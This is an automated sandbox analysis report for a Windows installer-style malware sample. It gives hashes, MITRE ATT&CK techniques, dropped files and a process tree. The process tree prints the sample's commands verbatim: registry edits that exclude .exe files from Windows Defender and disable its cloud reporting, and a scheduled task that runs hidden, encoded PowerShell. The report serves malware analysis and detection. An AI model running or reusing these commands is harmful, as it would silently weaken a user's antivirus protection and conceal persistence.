649c75d99b6d8e237d8a8d0142796fcbfa7381674628201f474b58039144ec2a

Resubmissions

15-11-2024 18:05

241115-wpjcdsxrdy 10

11-11-2024 21:40

241111-1h6xbsxcql 10

03-12-2022 17:54

221203-wg4ncscc33 10

Analysis

max time kernel
233s
max time network
31s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
03-12-2022 17:54

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General

Target

8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe
Size

7.3MB
MD5

83dbe0cb14f889e38fc0f8889842cf9d
SHA1

ded313ca908136000fd9e5f623dcf0974e2b5f30
SHA256

8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff
SHA512

ad4bef13d8b816dc81b42e0a2983cedd8c1b66bb15ffff93d908dd8bb78621c2ec690c44dc01bffb3a378159c42c7552ebd27bdb889eb13351a85a26d61fbac6
SSDEEP

196608:91O0G+ffRqHIxpuBM9lsB1veokOefmev7+RND:3OL+ffRqoxpAQi0POcmez+LD

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
688	Install.exe
1276	Install.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1712	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe
688	Install.exe
688	Install.exe
688	Install.exe
688	Install.exe
1276	Install.exe
1276	Install.exe
1276	Install.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
616	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1832	powershell.EXE
1832	powershell.EXE
1832	powershell.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1832	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 688	1712	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe	28
PID 1712 wrote to memory of 688	1712	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe	28
PID 1712 wrote to memory of 688	1712	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe	28
PID 1712 wrote to memory of 688	1712	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe	28
PID 1712 wrote to memory of 688	1712	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe	28
PID 1712 wrote to memory of 688	1712	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe	28
PID 1712 wrote to memory of 688	1712	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe	28
PID 688 wrote to memory of 1276	688	Install.exe	29
PID 688 wrote to memory of 1276	688	Install.exe	29
PID 688 wrote to memory of 1276	688	Install.exe	29
PID 688 wrote to memory of 1276	688	Install.exe	29
PID 688 wrote to memory of 1276	688	Install.exe	29
PID 688 wrote to memory of 1276	688	Install.exe	29
PID 688 wrote to memory of 1276	688	Install.exe	29
PID 1276 wrote to memory of 1456	1276	Install.exe	31
PID 1276 wrote to memory of 1456	1276	Install.exe	31
PID 1276 wrote to memory of 1456	1276	Install.exe	31
PID 1276 wrote to memory of 1456	1276	Install.exe	31
PID 1276 wrote to memory of 1456	1276	Install.exe	31
PID 1276 wrote to memory of 1456	1276	Install.exe	31
PID 1276 wrote to memory of 1456	1276	Install.exe	31
PID 1276 wrote to memory of 1040	1276	Install.exe	33
PID 1276 wrote to memory of 1040	1276	Install.exe	33
PID 1276 wrote to memory of 1040	1276	Install.exe	33
PID 1276 wrote to memory of 1040	1276	Install.exe	33
PID 1276 wrote to memory of 1040	1276	Install.exe	33
PID 1276 wrote to memory of 1040	1276	Install.exe	33
PID 1276 wrote to memory of 1040	1276	Install.exe	33
PID 1456 wrote to memory of 1268	1456	forfiles.exe	36
PID 1456 wrote to memory of 1268	1456	forfiles.exe	36
PID 1456 wrote to memory of 1268	1456	forfiles.exe	36
PID 1456 wrote to memory of 1268	1456	forfiles.exe	36
PID 1456 wrote to memory of 1268	1456	forfiles.exe	36
PID 1456 wrote to memory of 1268	1456	forfiles.exe	36
PID 1456 wrote to memory of 1268	1456	forfiles.exe	36
PID 1040 wrote to memory of 928	1040	forfiles.exe	35
PID 1040 wrote to memory of 928	1040	forfiles.exe	35
PID 1040 wrote to memory of 928	1040	forfiles.exe	35
PID 1040 wrote to memory of 928	1040	forfiles.exe	35
PID 1040 wrote to memory of 928	1040	forfiles.exe	35
PID 1040 wrote to memory of 928	1040	forfiles.exe	35
PID 1040 wrote to memory of 928	1040	forfiles.exe	35
PID 1268 wrote to memory of 1648	1268	cmd.exe	37
PID 1268 wrote to memory of 1648	1268	cmd.exe	37
PID 1268 wrote to memory of 1648	1268	cmd.exe	37
PID 1268 wrote to memory of 1648	1268	cmd.exe	37
PID 1268 wrote to memory of 1648	1268	cmd.exe	37
PID 1268 wrote to memory of 1648	1268	cmd.exe	37
PID 1268 wrote to memory of 1648	1268	cmd.exe	37
PID 928 wrote to memory of 1556	928	cmd.exe	38
PID 928 wrote to memory of 1556	928	cmd.exe	38
PID 928 wrote to memory of 1556	928	cmd.exe	38
PID 928 wrote to memory of 1556	928	cmd.exe	38
PID 928 wrote to memory of 1556	928	cmd.exe	38
PID 928 wrote to memory of 1556	928	cmd.exe	38
PID 928 wrote to memory of 1556	928	cmd.exe	38
PID 928 wrote to memory of 836	928	cmd.exe	39
PID 928 wrote to memory of 836	928	cmd.exe	39
PID 928 wrote to memory of 836	928	cmd.exe	39
PID 928 wrote to memory of 836	928	cmd.exe	39
PID 928 wrote to memory of 836	928	cmd.exe	39
PID 928 wrote to memory of 836	928	cmd.exe	39
PID 928 wrote to memory of 836	928	cmd.exe	39
PID 1268 wrote to memory of 1868	1268	cmd.exe	40

C:\Users\Admin\AppData\Local\Temp\8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe
"C:\Users\Admin\AppData\Local\Temp\8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:688
- - C:\Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1276
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1456
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1268
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1648
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1868
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1040
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:928
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1556
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:836
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gRVHKgpEt" /SC once /ST 12:21:21 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:616
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gRVHKgpEt"
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gRVHKgpEt"
      4⤵
      PID:524

C:\Windows\system32\taskeng.exe
taskeng.exe {5FD825BA-C107-4A01-86FF-4B1C02EEA040} S-1-5-21-3385717845-2518323428-350143044-1000:SABDUHNY\Admin:Interactive:[1]
1⤵
PID:1716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1832
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:592

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe

Filesize
6.3MB

MD5
ded964e022a37d93d434091ec75f9881

SHA1
e89a551ac1f19dc3838e21157667e2f98d84d06b

SHA256
9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

SHA512
13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe

Filesize
6.3MB

MD5
ded964e022a37d93d434091ec75f9881

SHA1
e89a551ac1f19dc3838e21157667e2f98d84d06b

SHA256
9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

SHA512
13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe

Filesize
6.8MB

MD5
6cb87a9fc7dc1f2a5410fd428f5460f0

SHA1
2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

SHA256
fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

SHA512
4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe

Filesize
6.8MB

MD5
6cb87a9fc7dc1f2a5410fd428f5460f0

SHA1
2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

SHA256
fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

SHA512
4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

Download Submit
\Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe

Filesize
6.3MB

MD5
ded964e022a37d93d434091ec75f9881

SHA1
e89a551ac1f19dc3838e21157667e2f98d84d06b

SHA256
9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

SHA512
13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

Download Submit
\Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe

Filesize
6.3MB

MD5
ded964e022a37d93d434091ec75f9881

SHA1
e89a551ac1f19dc3838e21157667e2f98d84d06b

SHA256
9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

SHA512
13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

Download Submit
\Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe

Filesize
6.3MB

MD5
ded964e022a37d93d434091ec75f9881

SHA1
e89a551ac1f19dc3838e21157667e2f98d84d06b

SHA256
9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

SHA512
13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

Download Submit
\Users\Admin\AppData\Local\Temp\7zS38CD.tmp\Install.exe

Filesize
6.3MB

MD5
ded964e022a37d93d434091ec75f9881

SHA1
e89a551ac1f19dc3838e21157667e2f98d84d06b

SHA256
9d8729b9ca0547bf3679e88b9c2c5ae941fcfe67dfd7dfc598cb304d6624ddde

SHA512
13f0873cc797eeb7a4a1606ea3dc95f0d1f96bf1dfad286ee3959f0b885426214c24c1ea2422a46191f78063b75200d7ad9065d5654a7758086a9e41f7cf75af

Download Submit
\Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe

Filesize
6.8MB

MD5
6cb87a9fc7dc1f2a5410fd428f5460f0

SHA1
2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

SHA256
fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

SHA512
4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

Download Submit
\Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe

Filesize
6.8MB

MD5
6cb87a9fc7dc1f2a5410fd428f5460f0

SHA1
2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

SHA256
fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

SHA512
4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

Download Submit
\Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe

Filesize
6.8MB

MD5
6cb87a9fc7dc1f2a5410fd428f5460f0

SHA1
2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

SHA256
fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

SHA512
4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

Download Submit
\Users\Admin\AppData\Local\Temp\7zS3D7E.tmp\Install.exe

Filesize
6.8MB

MD5
6cb87a9fc7dc1f2a5410fd428f5460f0

SHA1
2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

SHA256
fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

SHA512
4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

Download Submit
memory/1276-71-0x0000000010000000-0x0000000010B5D000-memory.dmp

Filesize
11.4MB

Download
memory/1712-54-0x0000000075DA1000-0x0000000075DA3000-memory.dmp

Filesize
8KB

Download
memory/1832-96-0x000007FEF4020000-0x000007FEF4A43000-memory.dmp

Filesize
10.1MB

Download
memory/1832-95-0x000007FEFC631000-0x000007FEFC633000-memory.dmp

Filesize
8KB

Download
memory/1832-98-0x00000000026B4000-0x00000000026B7000-memory.dmp

Filesize
12KB

Download
memory/1832-97-0x000007FEF34C0000-0x000007FEF401D000-memory.dmp

Filesize
11.4MB

Download
memory/1832-99-0x000000001B790000-0x000000001BA8F000-memory.dmp

Filesize
3.0MB

Download
memory/1832-100-0x00000000026BB000-0x00000000026DA000-memory.dmp

Filesize
124KB

Download
memory/1832-103-0x00000000026BB000-0x00000000026DA000-memory.dmp

Filesize
124KB

Download
memory/1832-102-0x00000000026B4000-0x00000000026B7000-memory.dmp

Filesize
12KB

Download